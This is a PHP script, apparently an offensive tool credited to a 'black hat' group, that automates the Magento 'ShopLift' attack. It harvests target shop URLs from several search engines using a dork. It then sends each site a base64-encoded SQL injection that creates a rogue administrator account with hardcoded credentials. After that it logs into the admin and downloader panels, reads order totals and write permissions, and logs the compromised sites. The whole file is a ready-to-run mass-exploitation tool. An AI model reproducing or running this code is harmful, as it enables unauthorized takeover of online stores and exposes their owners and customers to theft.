FaThurYKBH

<?php
/* ++++++++++++++++++++++++++++++++++
	ShopLift Exploiter Beta Version
		Author : FathurFreakz
	Use : php thisfile.php "Dork"
		YOGYAKARTA BLACK HAT
		Special Thanks to
	  Nabiila Rizqi Khasanah
   +++++++++++++++++++++++++++++++++
*/
error_reporting(0);
set_time_limit(0);
class ShopLiftFathurFreakz {
	private $dork = "";
	private $username = "mdn_newbie";
	private $password = "Anjing__";

	public function Dork($dork){
		$this->dork = $dork;
		return $this->dork;
	}

	private function CurlPost($url, $post = false){
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
		if($post !== false){
			$isi = '';
			foreach($post as $key=>$value){
				$isi .= $key.'='.$value.'&';
			}
			rtrim($isi, '&');
			curl_setopt($ch, CURLOPT_URL, $url);
			curl_setopt($ch, CURLOPT_POST, count($isi));
			curl_setopt($ch, CURLOPT_COOKIEJAR, 'pitek.txt');
			curl_setopt($ch, CURLOPT_POSTFIELDS, $isi);
		}
		$data = curl_exec($ch);
		curl_close($ch);
		return $data;
	}

	private function GetStr($start,$end,$string){
		$a = explode($start,$string);
		$b = explode($end,$a[1]);
		return $b[0];
	}

	private function LoginDownloader($url){
		$link = parse_url($url);
		$data = $this->CurlPost(sprintf("%s://%s/downloader/",$link["scheme"],$link["host"]),
					array("username" => $this->username,
						  "password" => $this->password)
					);
		if(preg_match("/Log Out/i",$data) || (preg_match("/Return to Admin/i",$data))){
			$permission = (!preg_match("/Warning: Your Magento folder does not have sufficient write permissions./i",$data) ? "Writeable" : "Denied");
			return "Success\nPermission\t\t: ".$permission;
		} else {
			return "Failed";
		}
	}

	private function LoginAdmin($target){
		$link = parse_url($target);
		$get = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]));
		$key = $this->GetStr("<input name=\"form_key\" type=\"hidden\" value=\"","\" />",$get);
		$data = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]),
					array("login[username]" => $this->username,
						  "login[password]" => $this->password,
						  "form_key" => $key)
				);
		return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data);

	}

	private function ShopLiftExploit($target){
		$email = substr(md5(time()),2,15);
		$link = parse_url($target);
		$data = $this->CurlPost(sprintf("%s://%s/admin/Cms_Wysiwyg/directive/index/",$link["scheme"],$link["host"]),
					array("filter" => base64_encode("popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);SET @SALT = 	'rp';SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{$this->password}') ), CONCAT(':', @SALT ));SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','{$email}@telekpitekwashere.cok','{$this->username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{$this->username}'),'Firstname');"),
					"___directive" 	=> base64_encode("{{block type=Adminhtml/report_search_grid output=getCsvFile}}"),
					"forwarded" 	=> "1")
				);
		return (@imagecreatefromstring($data) !== false);
	}

	private function ExecuteExploit($victim){
		$file = fopen("ShopLift-".date("d-m-Y").".log","a");
		$url = parse_url($victim);
		$target = (!isset($url["scheme"]) ? "http://".$victim : $url["scheme"]."://".$url["host"]);
		if($this->ShopLiftExploit($target)){
			$downloader = $this->LoginDownloader($target);
			$admin = $this->LoginAdmin($target);
			$result = "\n============[ShopLift Result]============\nSite\t\t\t: {$target}\nLogin Admin\t\t: {$admin}\nLogin Downloader\t: {$downloader}\n===========================================\n";
			fwrite($file,$result);
			return $result;
		} else {
			return "[".date("H:i:s")."] ".$target." => Not vuln !\n";
		}
		fclose($file);
	}

	public function SearchEngine($engine){
		$list = array();
		$ccbing = array("ca","br","be","nl","uk","it","es","de","no","dk","se","ch","ru","jp","cn","kr","mx","ar","cl","au");
		$ccgoogle = array("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
		switch($engine){
			case 1:
				for($i=0;$i<=1000;$i+=10){
					$search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&first=".$i);
					preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
					foreach($m[1] as $link){
						if(!preg_match("/live|msn|bing|microsoft/",$link)){
							if(!in_array($link,$list)){
								$list[] = $link;
							}
						}
					}
					echo "Catch [".count(array_unique($m[1]))."]\n";
				}
				echo "Total Bing : ".count($list)."\n";
			break;
			case 2:
				for($x=0;$x<=count($ccbing)-1;$x++){
					for($i=0;$i<=1000;$i+=10){
						$search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&cc=".$ccbing[$x]."&rf=1&first=".$i."&FORM=PORE");
						preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
						foreach($m[1] as $link){
							if(!preg_match("/live|msn|bing|microsoft/",$link)){
								if(!in_array($link,$list)){
									$list[] = $link;
								}
							}
						}
						echo "Catch [".count(array_unique($m[1]))."]\n";
					}
				}
				echo "Total Bing World : ".count($list)."\n";
			break;
			case 3:
				for($x=0;$x<=count($ccgoogle)-1;$x++){
					for($i=0;$i<=200;$i+=10){
						$search = $this->CurlPost("http://www.google.".$ccgoogle[$x]."/search?num=50&q=".urlencode($this->dork)."&start=".$i."&sa=N");
						preg_match_all('/<a href=\"?http:\/\/([^>\"]*)\//m', $search, $m);
						foreach($m[1] as $link){
							if(!preg_match("/google/",$link)){
								if(!in_array($link,$list)){
									$list[] = $link;
								}
							}
						}
						echo "Catch [".count(array_unique($m[1]))."]\n";
					}
				}
				echo "Total Google World : ".count($list)."\n";
			break;
			case 4:
				for($x=0;$x<=count($ccbing)-1;$x++){
					for($i=1;$i<=1000;$i+=100){
						$search = $this->CurlPost("http://".$ccbing[$x].".ask.com/web?q=".urlencode($this->dork)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
						preg_match_all('/href=\"http:\/\/(.*?)\" onmousedown=/m', $search, $m);
						foreach($m[1] as $link){
							if(!preg_match("/ask\.com/",$link)){
								if(!in_array($link,$list)){
									$list[] = $link;
								}
							}
						}
						echo "Catch [".count(array_unique($m[1]))."]\n";
					}
				}
				echo "Total Ask World : ".count($list)."\n";
			break;
			case 5:
				for($i=1;$i<=100;$i+=1){
					$search = $this->CurlPost("http://search.walla.co.il/?q=".urlencode($this->dork)."&type=text&page=".$i);
					preg_match_all('/<a href=\"http:\/\/(.+?)\" title=/m', $search, $m);
					foreach($m[1] as $link){
						if(!preg_match("/walla\.co\.il/",$link)){
							if(!in_array($link,$list)){
								$list[] = $link;
							}
						}
					}
					echo "Catch [".count(array_unique($m[1]))."]\n";
				}
				echo "Total Walla : ".count($list)."\n";
			break;
		}
		if(count($list)>0){
			echo "Exploiting target ".count($list).". Please wait ... \n";
			foreach($list as $do){
				echo $this->ExecuteExploit($do);
			}
		}
	}

	public function ExploitLogo(){
		$logo = "==================================================\n";
		$logo .= "#\t Magento ShopLift Auto Exploiter \t #\n";
		$logo .= "#------------------------------------------------#\n";
		$logo .= "#\t Author \t: FathurFreakz \t\t #\n";
		$logo .= "#\t Email \t\t: fathurfreakz@gmail.com #\n";
		$logo .= "#\t Thanks to \t: Nabiila Rizqi K \t #\n";
		$logo .= "#\t Usage \t\t: php ".basename($_SERVER["SCRIPT_FILENAME"], '.php').".php \"Dork\"\t #\n";
		$logo .= "#------------------------------------------------#\n";
		$logo .= "#\t (C) ".date("Y")." YOGYAKARTA BLACK HAT \t\t #\n";
		$logo .= "==================================================\n";
		echo $logo;
	}
}
$Exploiter = new ShopLiftFathurFreakz();
if(isset($argv[1]) && !empty($argv[1])){
	echo "Scanning target for dork : {$argv[1]}\n";
	$Exploiter->Dork($argv[1]);
	for($i=0;$i<6;$i++){
		$Exploiter->SearchEngine($i);
		flush();
		sleep(1);
	}
	echo "Scan finished !!!\n";
	flush();
	sleep(1);
	echo "Shuting down engine !!!\n";
} else {
	$Exploiter->ExploitLogo();
}